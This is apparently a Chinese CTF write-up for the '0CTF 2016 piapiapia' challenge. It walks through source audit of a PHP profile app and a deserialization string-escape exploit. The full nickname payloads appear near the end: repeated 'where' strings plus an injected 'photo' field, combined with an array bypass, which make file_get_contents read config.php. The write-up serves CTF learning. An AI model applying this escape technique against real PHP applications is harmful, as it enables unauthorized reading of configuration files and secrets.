• [0CTF 2016]piapiapia


    进入环境

     注入没反应,万能密码也不行,发现有个admin用户,但是报不出来密码

    换个思路,目录扫描一波,但是这里buu扫描需要设置延时,不然全是429

    python dirsearch.py -u http://3b1e3a5a-6685-42a2-bede-7708644af9e4.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

    有www.zip下下来查看源码,有register.php先注册一个用户登录进去,是一个更新个人信息的页面

     到这先分析一波源码,在profile.php找到file_get_contents利用点

    1. require_once('class.php');
    2. if($_SESSION['username'] == null) {
    3. die('Login First');
    4. }
    5. $username = $_SESSION['username'];
    6. $profile=$user->show_profile($username);
    7. if($profile == null) {
    8. header('Location: update.php');
    9. }
    10. else {
    11. $profile = unserialize($profile);
    12. $phone = $profile['phone'];
    13. $email = $profile['email'];
    14. $nickname = $profile['nickname'];
    15. $photo = base64_encode(file_get_contents($profile['photo']));
    16. ?>

    返回去分析一下photo在哪,看到serialize,class.php有过滤将字符替换成hacker,这一题是反序列化字符串逃逸了

    1. require_once('class.php');
    2. if($_SESSION['username'] == null) {
    3. die('Login First');
    4. }
    5. if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    6. $username = $_SESSION['username'];
    7. if(!preg_match('/^\d{11}$/', $_POST['phone']))
    8. die('Invalid phone');
    9. if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    10. die('Invalid email');
    11. if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    12. die('Invalid nickname');
    13. $file = $_FILES['photo'];
    14. if($file['size'] < 5 or $file['size'] > 1000000)
    15. die('Photo size error');
    16. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    17. $profile['phone'] = $_POST['phone'];
    18. $profile['email'] = $_POST['email'];
    19. $profile['nickname'] = $_POST['nickname'];
    20. $profile['photo'] = 'upload/' . md5($file['name']);
    21. $user->update_profile($username, serialize($profile));
    22. echo 'Update Profile Success!Your Profile';
    23. }
    24. else {
    25. ?>

     我们先本地输出一下

    1. <?php
    2. if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    3. if(!preg_match('/^\d{11}$/', $_POST['phone']))
    4. die('Invalid phone');
    5. if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    6. die('Invalid email');
    7. if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    8. die('Invalid nickname');
    9. $file = $_FILES['photo'];
    10. if($file['size'] < 5 or $file['size'] > 1000000)
    11. die('Photo size error');
    12. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    13. $profile['phone'] = $_POST['phone'];
    14. $profile['email'] = $_POST['email'];
    15. $profile['nickname'] = $_POST['nickname'];
    16. $profile['photo'] = 'upload/' . md5($file['name']);
    17. var_dump(serialize($profile));
    18. }
    19. else {
    20. ?>
    21. <!DOCTYPE html>
    22. <html>
    23. <head>
    24. <title>UPDATE</title>
    25. <link href="static/bootstrap.min.css" rel="stylesheet">
    26. <script src="static/jquery.min.js"></script>
    27. <script src="static/bootstrap.min.js"></script>
    28. </head>
    29. <body>
    30. <div class="container" style="margin-top:100px">
    31. <form action="12311.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
    32. <h3>Please Update Your Profile</h3>
    33. <label>Phone:</label>
    34. <input type="text" name="phone" style="height:30px"class="span3"/>
    35. <label>Email:</label>
    36. <input type="text" name="email" style="height:30px"class="span3"/>
    37. <label>Nickname:</label>
    38. <input type="text" name="nickname" style="height:30px" class="span3">
    39. <label for="file">Photo:</label>
    40. <input type="file" name="photo" style="height:30px"class="span3"/>
    41. <button type="submit" class="btn btn-primary">UPDATE</button>
    42. </form>
    43. </div>
    44. </body>
    45. </html>
    46. <?php
    47. }
    48. ?>
    string(155) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

    审计源代码有config.php文件

    1. $config['hostname'] = '127.0.0.1';
    2. $config['username'] = 'root';
    3. $config['password'] = '';
    4. $config['database'] = '';
    5. $flag = '';
    6. ?>

    可知我们最终是要利用file_get_contents读取config.php文件里的flag

    所以应该输出的是

    "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:10:"config.php";}" 

    但是正常情况下是不能让photo的值是config.php的,所以我们利用nickname去构造一个config.php出来,但是因为nickname只要匹配到a-zA-Z0-9_就会die,所以这里需要用数组绕过

    数组序列化时会有一个{},我们输出演示一下

    string(165) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

    可以看见nickname变成数组序列化以后是{i:0;s:1:"1";}

    所以我们给nickname=";}s:5:"photo";s:10:"config.php";},前面的}是为了闭合nickname变成数组序列化的{,后面的}是为了让上传图片名字序列化的值不影响到我们的config.php

    输出看看

    "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

    这里我发现在php";}";}s:5貌似重复了,但是也不影响,所以nickname=";}s:5:"photo";s:10:"config.php也行,输出试试

    "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:31:"";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

    但是.php";}s:5:"好像没有和最前方的"对齐,经最终测试,是不影响的

    这里因为s:31:"";}s:5:"photo";s:10:"config.php",要取31位会把config.php当做值,所以我们要在前面加上31个where使其被过滤替换成hacker多一个字符以满足这31个字符

    所以最后的payload有两种

    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
    wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    这里正常填就行,然后抓包

     修改nickname为数组

     跳转到个人信息页面,查看读取的config.php

     查看源代码

    base64解密得到flag

     

  • 相关阅读:
    Android OpenGL ES 3.0 开发 :3D实例化(Instancing 3D)
    HTML静态网页成品作业(HTML+CSS)——VIVO介绍网页(1个页面)
    java计算机毕业设计实验课程学习系统(附源码、数据库)
    C# SolidWorks二次开发---工程图简单版标注长宽
    六、C语言循环语句
    slam数学补充
    前端性能优化
    【Java】SpringBoot应用简单示例
    上周热点回顾(5.20-5.26)
    罗技驱动默认安装位置介绍
  • 原文地址:https://blog.csdn.net/m0_63253040/article/details/127040285